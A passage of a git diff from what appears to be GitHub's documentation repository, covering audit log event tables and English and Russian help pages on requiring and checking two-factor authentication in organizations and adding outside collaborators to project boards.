information, see "[Using the REST API](#using-the-rest-api)." +| `add_member` | Triggered when a user accepts an [invitation to have collaboration access to a repository](/articles/inviting-collaborators-to-a-personal-repository). +| `add_topic` | Triggered when a repository admin [adds a topic](/articles/classifying-your-repository-with-topics) to a repository. +| `advanced_security_disabled` | Triggered when a repository administrator disables {% data variables.product.prodname_GH_advanced_security %} features for the repository. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." +| `advanced_security_enabled` | Triggered when a repository administrator enables {% data variables.product.prodname_GH_advanced_security %} features for the repository. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository).". +| `archived` | Triggered when a repository admin [archives a repository](/articles/about-archiving-repositories).{% ifversion ghes %} +| `config.disable_anonymous_git_access` | Triggered when [anonymous Git read access is disabled](/enterprise/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository. +| `config.enable_anonymous_git_access` | Triggered when [anonymous Git read access is enabled](/enterprise/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository. +| `config.lock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is locked](/enterprise/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access). +| `config.unlock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is unlocked](/enterprise/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).{% endif %} +| `create` | Triggered when [a new repository is created](/articles/creating-a-new-repository).{% ifversion fpt or ghes or ghec %} +| `create_actions_secret` |Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."{% endif %} +| `destroy` | Triggered when [a repository is deleted](/articles/deleting-a-repository).{% ifversion fpt or ghec %} +| `disable` | Triggered when a repository is disabled (e.g., for [insufficient funds](/articles/unlocking-a-locked-account)).{% endif %} +| `enable` | Triggered when a repository is re-enabled.{% ifversion fpt or ghes or ghec %} +| `remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.{% endif %} +| `remove_member` | Triggered when a user is [removed from a repository as a collaborator](/articles/removing-a-collaborator-from-a-personal-repository). +| `register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." +| `remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)." +| `remove_topic` | Triggered when a repository admin removes a topic from a repository. +| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository). +| `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." +| `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% ifversion fpt or ghes or ghec %} +| `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %} +| `set_actions_fork_pr_approvals_policy` | Triggered when the setting for requiring approvals for workflows from public forks is changed. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-required-approval-for-workflows-from-public-forks)."{% endif %} +| `set_actions_retention_limit` | Triggered when the retention period for {% data variables.product.prodname_actions %} artifacts and logs is changed. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)."{% ifversion fpt or ghes or ghec %} +| `set_fork_pr_workflows_policy` | Triggered when the policy for workflows on private repository forks is changed. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %} +| `staff_unlock` | Triggered when an enterprise owner or {% data variables.contact.github_support %} (with permission from a repository administrator) temporarily unlocked the repository. The visibility of the repository isn't changed. +| `transfer` | Triggered when [a repository is transferred](/articles/how-to-transfer-a-repository). +| `transfer_start` | Triggered when a repository transfer is about to occur. +| `unarchived` | Triggered when a repository admin unarchives a repository.{% ifversion fpt or ghes or ghec %} +| `update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.{% endif %} + +{% ifversion fpt or ghec %} + +### `repository_advisory` category actions + +| Action | Description +|------------------|------------------- +| `close` | Triggered when someone closes a security advisory. For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." +| `cve_request` | Triggered when someone requests a CVE (Common Vulnerabilities and Exposures) number from {% data variables.product.prodname_dotcom %} for a draft security advisory. +| `github_broadcast` | Triggered when {% data variables.product.prodname_dotcom %} makes a security advisory public in the {% data variables.product.prodname_advisory_database %}. +| `github_withdraw` | Triggered when {% data variables.product.prodname_dotcom %} withdraws a security advisory that was published in error. +| `open` | Triggered when someone opens a draft security advisory. +| `publish` | Triggered when someone publishes a security advisory. +| `reopen` | Triggered when someone reopens as draft security advisory. +| `update` | Triggered when someone edits a draft or published security advisory. + +### `repository_content_analysis` category actions + +| Action | Description +|------------------|------------------- +| `enable` | Triggered when an organization owner or person with admin access to the repository [enables data use settings for a private repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository). +| `disable` | Triggered when an organization owner or person with admin access to the repository [disables data use settings for a private repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository). + +{% endif %}{% ifversion fpt or ghec %} + +### `repository_dependency_graph` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when a repository owner or person with admin access to the repository disables the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." +| `enable` | Triggered when a repository owner or person with admin access to the repository enables the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. + +{% endif %}{% ifversion ghec or ghes or ghae %} +### `repository_secret_scanning` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when a repository owner or person with admin access to the repository disables secret scanning for a repository. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." +| `enable` | Triggered when a repository owner or person with admin access to the repository enables secret scanning for a repository. + +{% endif %}{% ifversion secret-scanning-audit-log-custom-patterns %} + +### `repository_secret_scanning_custom_pattern` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when a custom pattern is published for secret scanning in a repository. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#defining-a-custom-pattern-for-a-repository)." +| `update` | Triggered when changes to a custom pattern are saved for secret scanning in a repository. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#editing-a-custom-pattern)." +| `delete` | Triggered when a custom pattern is removed from secret scanning in a repository. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#removing-a-custom-pattern)." + +{% endif %}{% ifversion secret-scanning-audit-log-custom-patterns %} + +### `repository_secret_scanning_push_protection` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when a repository owner or person with admin access to the repository disables secret scanning for a repository. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)." +| `enable` | Triggered when a repository owner or person with admin access to the repository enables secret scanning for a repository. + +{% endif %} +### `repository_vulnerability_alert` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when {% data variables.product.product_name %} creates a {% data variables.product.prodname_dependabot %} alert for a repository that uses a vulnerable dependency. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." +| `dismiss` | Triggered when an organization owner or person with admin access to the repository dismisses a {% data variables.product.prodname_dependabot %} alert about a vulnerable dependency. +| `resolve` | Triggered when someone with write access to a repository pushes changes to update and resolve a vulnerability in a project dependency. +{% ifversion fpt or ghec %} +### `repository_vulnerability_alerts` category actions + +| Action | Description +|------------------|------------------- +| `authorized_users_teams` | Triggered when an organization owner or a person with admin permissions to the repository updates the list of people or teams authorized to receive {% data variables.product.prodname_dependabot_alerts %} for the repository. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)." +| `disable` | Triggered when a repository owner or person with admin access to the repository disables {% data variables.product.prodname_dependabot_alerts %}. +| `enable` | Triggered when a repository owner or person with admin access to the repository enables {% data variables.product.prodname_dependabot_alerts %}. + +{% endif %}{% ifversion custom-repository-roles %} +### `role` category actions +| Action | Description +|------------------|------------------- +|`create` | Triggered when an organization owner creates a new custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." +|`destroy` | Triggered when an organization owner deletes a custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." +|`update` | Triggered when an organization owner edits an existing custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." + +{% endif %} +{% ifversion ghec or ghes or ghae %} +### `secret_scanning` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables secret scanning for all existing{% ifversion ghec %}, private or internal{% endif %} repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." +| `enable` | Triggered when an organization owner enables secret scanning for all existing{% ifversion ghec %}, private or internal{% endif %} repositories. +{% endif %} + +{% ifversion secret-scanning-alert-audit-log %} +### `secret_scanning_alert` category actions + +| Action | Description +|------------------|------------------- +| `create` | Triggered when {% data variables.product.prodname_dotcom %} detects an exposed secret and creates a {% data variables.product.prodname_secret_scanning %} alert. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/managing-alerts-from-secret-scanning)." +| `reopen` | Triggered when a user reopens a {% data variables.product.prodname_secret_scanning %} alert. +| `resolve` | Triggered when a user resolves a {% data variables.product.prodname_secret_scanning %} alert. +{% endif %} + +{% ifversion ghec or ghes or ghae %} +### `secret_scanning_new_repos` category actions + +| Action | Description +|------------------|------------------- +| `disable` | Triggered when an organization owner disables secret scanning for all new {% ifversion ghec %}private or internal {% endif %}repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." +| `enable` | Triggered when an organization owner enables secret scanning for all new {% ifversion ghec %}private or internal {% endif %}repositories. +{% endif %} + +{% ifversion secret-scanning-push-protection-bypasses %} +### `secret_scanning_push_protection` category actions + +| Action | Description +|------------------|------------------- +| `bypass` | Triggered when a user bypasses the push protection on a secret detected by secret scanning. For more information, see "[Bypassing push protection for a secret](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#bypassing-push-protection-for-a-secret)." +{% endif %} + +{% ifversion fpt or ghec %} +### `sponsors` category actions + +| Action | Description +|------------------|------------------- +| `custom_amount_settings_change` | Triggered when you enable or disable custom amounts, or when you change the suggested custom amount (see "[Managing your sponsorship tiers](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)") +| `repo_funding_links_file_action` | Triggered when you change the FUNDING file in your repository (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)") +| `sponsor_sponsorship_cancel` | Triggered when you cancel a sponsorship (see "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)") +| `sponsor_sponsorship_create` | Triggered when you sponsor an account (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)") +| `sponsor_sponsorship_payment_complete` | Triggered after you sponsor an account and your payment has been processed (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)") +| `sponsor_sponsorship_preference_change` | Triggered when you change whether you receive email updates from a sponsored account (see "[Managing your sponsorship](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)") +| `sponsor_sponsorship_tier_change` | Triggered when you upgrade or downgrade your sponsorship (see "[Upgrading a sponsorship](/articles/upgrading-a-sponsorship)" and "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)") +| `sponsored_developer_approve` | Triggered when your {% data variables.product.prodname_sponsors %} account is approved (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)") +| `sponsored_developer_create` | Triggered when your {% data variables.product.prodname_sponsors %} account is created (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)") +| `sponsored_developer_disable` | Triggered when your {% data variables.product.prodname_sponsors %} account is disabled +| `sponsored_developer_redraft` | Triggered when your {% data variables.product.prodname_sponsors %} account is returned to draft state from approved state +| `sponsored_developer_profile_update` | Triggered when you edit your sponsored organization profile (see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)") +| `sponsored_developer_request_approval` | Triggered when you submit your application for {% data variables.product.prodname_sponsors %} for approval (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)") +| `sponsored_developer_tier_description_update` | Triggered when you change the description for a sponsorship tier (see "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)") +| `sponsored_developer_update_newsletter_send` | Triggered when you send an email update to your sponsors (see "[Contacting your sponsors](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)") +| `waitlist_invite_sponsored_developer` | Triggered when you are invited to join {% data variables.product.prodname_sponsors %} from the waitlist (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)") +| `waitlist_join` | Triggered when you join the waitlist to become a sponsored organization (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)") +{% endif %} + +### `team` category actions + +| Action | Description +|------------------|------------------- +| `add_member` | Triggered when a member of an organization is [added to a team](/articles/adding-organization-members-to-a-team). +| `add_repository` | Triggered when a team is given control of a repository. +| `change_parent_team` | Triggered when a child team is created or [a child team's parent is changed](/articles/moving-a-team-in-your-organization-s-hierarchy). +| `change_privacy` | Triggered when a team's privacy level is changed. +| `create` | Triggered when a new team is created. +| `demote_maintainer` | Triggered when a user was demoted from a team maintainer to a team member. For more information, see "[Assigning the team maintainer role to a team member](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member)." +| `destroy` | Triggered when a team is deleted from the organization. +| `team.promote_maintainer` | Triggered when a user was promoted from a team member to a team maintainer. For more information, see "[Assigning the team maintainer role to a team member](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member)." +| `remove_member` | Triggered when a member of an organization is [removed from a team](/articles/removing-organization-members-from-a-team). +| `remove_repository` | Triggered when a repository is no longer under a team's control. + +### `team_discussions` category actions + +| Action | Description +|---|---| +| `disable` | Triggered when an organization owner disables team discussions for an organization. For more information, see "[Disabling team discussions for your organization](/articles/disabling-team-discussions-for-your-organization)." +| `enable` | Triggered when an organization owner enables team discussions for an organization. + +### `workflows` category actions + +{% data reusables.actions.actions-audit-events-workflow %} +## Further reading + +- "[Keeping your organization secure](/articles/keeping-your-organization-secure)"{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +{%- ifversion fpt or ghec %} +- "[Exporting member information for your organization](/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization)"{% endif %} +{%- endif %} diff --git a/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/index.md b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/index.md new file mode 100644 index 000000000000..8579546325ef --- /dev/null +++ b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/index.md @@ -0,0 +1,23 @@ +--- +title: Управление двухфакторной проверки подлинности в вашей организации +shortTitle: Manage 2FA +intro: 'Вы можете просмотреть, включена ли для пользователей с доступом к вашей организации двухфакторная проверка подлинности (2FA) и настроено ли требование такой проверки.' +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /viewing-whether-users-in-your-organization-have-2fa-enabled + - /preparing-to-require-two-factor-authentication-in-your-organization + - /requiring-two-factor-authentication-in-your-organization +ms.openlocfilehash: 49de4c84935fe7ef5eb6ffd3fb76866eddf890b3 +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147872314' +--- + diff --git a/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization.md b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization.md new file mode 100644 index 000000000000..983112cd01f7 --- /dev/null +++ b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization.md @@ -0,0 +1,31 @@ +--- +title: Подготовка к включению обязательной двухфакторной проверки подлинности в организации +intro: 'Перед тем как настроить требование двухфакторной проверки подлинности, можно уведомить пользователей о предстоящих изменениях и посмотреть, кто уже использует двухфакторную проверки подлинности.' +redirect_from: + - /articles/preparing-to-require-two-factor-authentication-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/preparing-to-require-two-factor-authentication-in-your-organization + - /organizations/keeping-your-organization-secure/preparing-to-require-two-factor-authentication-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Prepare to require 2FA +ms.openlocfilehash: 67083113143145a6de7bba5412568609414f12a8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145135107' +--- +Мы рекомендуем уведомить {% ifversion fpt or ghec %}участников организации, сторонних участников совместной работы и менеджеров выставления счетов{% else %}участников организации, сторонних участников совместной работы{% endif %} хотя бы за неделю до того, как настроить требование 2FA в своей организации. + +Если для вашей организации требуется двухфакторная проверка подлинности, члены организации, внешние участники совместной работы и менеджеры выставления счетов (включая учетные записи ботов), которые не используют 2FA, будут удалены из организации и потеряют доступ к своим репозиториям. Они также потеряют доступ к своим вилкам в частных репозиториях организации. + +Прежде чем требовать использования 2FA в организации, рекомендуется: + - [Включить 2FA](/articles/securing-your-account-with-two-factor-authentication-2fa/) в личной учетной записи + - Попросите сотрудников организации настроить 2FA для своих учетных записей. + - Проверьте,[включена ли двухфакторная проверка подлинности для пользователей в вашей организации](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled/) + - Предупреждайте пользователей о том, что после включения 2FA пользователи, для которых 2FA не включена, автоматически удаляются из организации. diff --git a/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization.md b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization.md new file mode 100644 index 000000000000..a35dbd89cde3 --- /dev/null +++ b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization.md @@ -0,0 +1,82 @@ +--- +title: Requiring two-factor authentication in your organization +intro: 'Organization owners can require {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} to enable two-factor authentication for their personal accounts, making it harder for malicious actors to access an organization''s repositories and settings.' +redirect_from: + - /articles/requiring-two-factor-authentication-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization + - /organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Require 2FA +--- + +## About two-factor authentication for organizations + +{% data reusables.two_fa.about-2fa %} You can require all {% ifversion fpt or ghec %}members, outside collaborators, and billing managers{% else %}members and outside collaborators{% endif %} in your organization to enable two-factor authentication on {% data variables.product.product_name %}. For more information about two-factor authentication, see "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)." + +{% ifversion fpt or ghec %} + +You can also require two-factor authentication for organizations in an enterprise. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)." + +{% endif %} + +{% warning %} + +**Warnings:** + +- When you require use of two-factor authentication for your organization, {% ifversion fpt or ghec %}members, outside collaborators, and billing managers{% else %}members and outside collaborators{% endif %} (including bot accounts) who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can [reinstate their access privileges and settings](/articles/reinstating-a-former-member-of-your-organization) if they enable two-factor authentication for their personal account within three months of their removal from your organization. +- If an organization owner, member,{% ifversion fpt or ghec %} billing manager,{% endif %} or outside collaborator disables 2FA for their personal account after you've enabled required two-factor authentication, they will automatically be removed from the organization. +- If you're the sole owner of an organization that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required two-factor authentication for the organization. + +{% endwarning %} + +{% data reusables.two_fa.auth_methods_2fa %} + +## Prerequisites + +Before you can require {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} to use two-factor authentication, you must enable two-factor authentication for your account on {% data variables.product.product_name %}. For more information, see "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)." + +Before you require use of two-factor authentication, we recommend notifying {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} and asking them to set up 2FA for their accounts. You can see if members and outside collaborators already use 2FA. For more information, see "[Viewing whether users in your organization have 2FA enabled](/organizations/keeping-your-organization-secure/viewing-whether-users-in-your-organization-have-2fa-enabled)." + +## Requiring two-factor authentication in your organization + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +{% data reusables.organizations.require_two_factor_authentication %} +{% data reusables.organizations.removed_outside_collaborators %} +{% ifversion fpt or ghec %} +8. If any members or outside collaborators are removed from the organization, we recommend sending them an invitation that can reinstate their former privileges and access to your organization. They must enable two-factor authentication before they can accept your invitation. +{% endif %} + +## Viewing people who were removed from your organization + +To view people who were automatically removed from your organization for non-compliance when you required two-factor authentication, you can [search your organization's audit log](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#accessing-the-audit-log) for people removed from your organization. The audit log event will show if a person was removed for 2FA non-compliance. + +![Audit log event showing a user removed for 2FA non-compliance](/assets/images/help/2fa/2fa_noncompliance_audit_log_search.png) + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.audit_log.audit_log_sidebar_for_org_admins %} +4. Enter your search query. To search for: + - Organization members removed, use `action:org.remove_member` in your search query + - Outside collaborators removed, use `action:org.remove_outside_collaborator` in your search query{% ifversion fpt or ghec %} + - Billing managers removed, use `action:org.remove_billing_manager`in your search query{% endif %} + + You can also view people who were removed from your organization by using a [time frame](/articles/reviewing-the-audit-log-for-your-organization/#search-based-on-time-of-action) in your search. + +## Helping removed members and outside collaborators rejoin your organization + +If any members or outside collaborators are removed from the organization when you enable required use of two-factor authentication, they'll receive an email notifying them that they've been removed. They should then enable 2FA for their personal account, and contact an organization owner to request access to your organization. + +## Further reading + +- "[Viewing whether users in your organization have 2FA enabled](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)" +- "[Securing your account with two-factor authentication (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa)" +- "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)" +- "[Reinstating a former outside collaborator's access to your organization](/articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization)" diff --git a/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled.md b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled.md new file mode 100644 index 000000000000..4092ad97ee79 --- /dev/null +++ b/translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled.md @@ -0,0 +1,39 @@ +--- +title: Проверка включения двухфакторной проверки у пользователей организации +intro: 'Вы можете просмотреть, для каких владельцев, участников организации и сторонних участников совместной работы включена двухфакторная проверка подлинности.' +redirect_from: + - /articles/viewing-whether-users-in-your-organization-have-2fa-enabled + - /github/setting-up-and-managing-organizations-and-teams/viewing-whether-users-in-your-organization-have-2fa-enabled + - /organizations/keeping-your-organization-secure/viewing-whether-users-in-your-organization-have-2fa-enabled +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: View 2FA usage +ms.openlocfilehash: 20659ea2e1979123b15d9ee5d333655ad188b2e9 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145135077' +--- +{% note %} + +**Примечание.** Можно настроить требование, которое предусматривает, что для всех участников{% ifversion fpt or ghec %}, включая владельцев, менеджеров по выставлению счетов и{% else %} и{% endif %} сторонних участников совместной работы в организации, включена двухфакторная проверка подлинности. Дополнительные сведения см. в разделе [Настройка требования двухфакторной проверки подлинности в организации](/articles/requiring-two-factor-authentication-in-your-organization). + +{% endnote %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} +4. Чтобы просмотреть участников организации, включая владельцев организации, которые включили или отключили двухфакторную проверку подлинности, щелкните **2FA** и выберите **Включено** или **Отключено**. + ![filter-org-members-by-2fa](/assets/images/help/2fa/filter-org-members-by-2fa.png) +5. Чтобы просмотреть сторонних участников совместной работы в организации, на вкладке "Люди" щелкните **Сторонние участники совместной работы**. +![select-outside-collaborators](/assets/images/help/organizations/select-outside-collaborators.png) +6. Чтобы проверить, какие сторонние участники совместной работы включили или отключили двухфакторную проверку подлинности, в правой части щелкните **2FA** и выберите **Включено** или **Отключено**. +![filter-outside-collaborators-by-2fa](/assets/images/help/2fa/filter-outside-collaborators-by-2fa.png) + +## Дополнительные материалы + +- [Просмотр ролей пользователей в организации](/articles/viewing-people-s-roles-in-an-organization) diff --git a/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/adding-an-outside-collaborator-to-a-project-board-in-your-organization.md b/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/adding-an-outside-collaborator-to-a-project-board-in-your-organization.md new file mode 100644 index 000000000000..2016c41e3567 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-access-to-your-organizations-project-boards/adding-an-outside-collaborator-to-a-project-board-in-your-organization.md @@ -0,0 +1,31 @@ +--- +title: 'Добавление стороннего участника совместной в {% data variables.product.prodname_project_v1 %} в вашей организации' +intro: 'Как владелец организации или администратор {% data variables.projects.projects_v1_board %} вы можете добавить стороннего участника совместной работы и настроить его разрешения для {% data variables.projects.projects_v1_board %}.' +redirect_from: + - /articles/adding-an-outside-collaborator-to-a-project-board-in-your-organization + - /github/setting-up-and-managing-organizations-and-teams/adding-an-outside-collaborator-to-a-project-board-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Add a collaborator +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 517e0c6f71d1b70eb19dc85dfe3334ff0144c814 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110138' +--- +{% data reusables.projects.project_boards_old %} + +Сторонний участник совместной работы — это пользователь, который явно не назначен участником вашей организации, но имеет разрешения для доступа к {% data variables.projects.projects_v1_board %} в вашей организации. + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %} +1. Щелкните **Проекты (классические)** {% endif %} {% data reusables.project-management.select-project %} {% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %} +9. В разделе 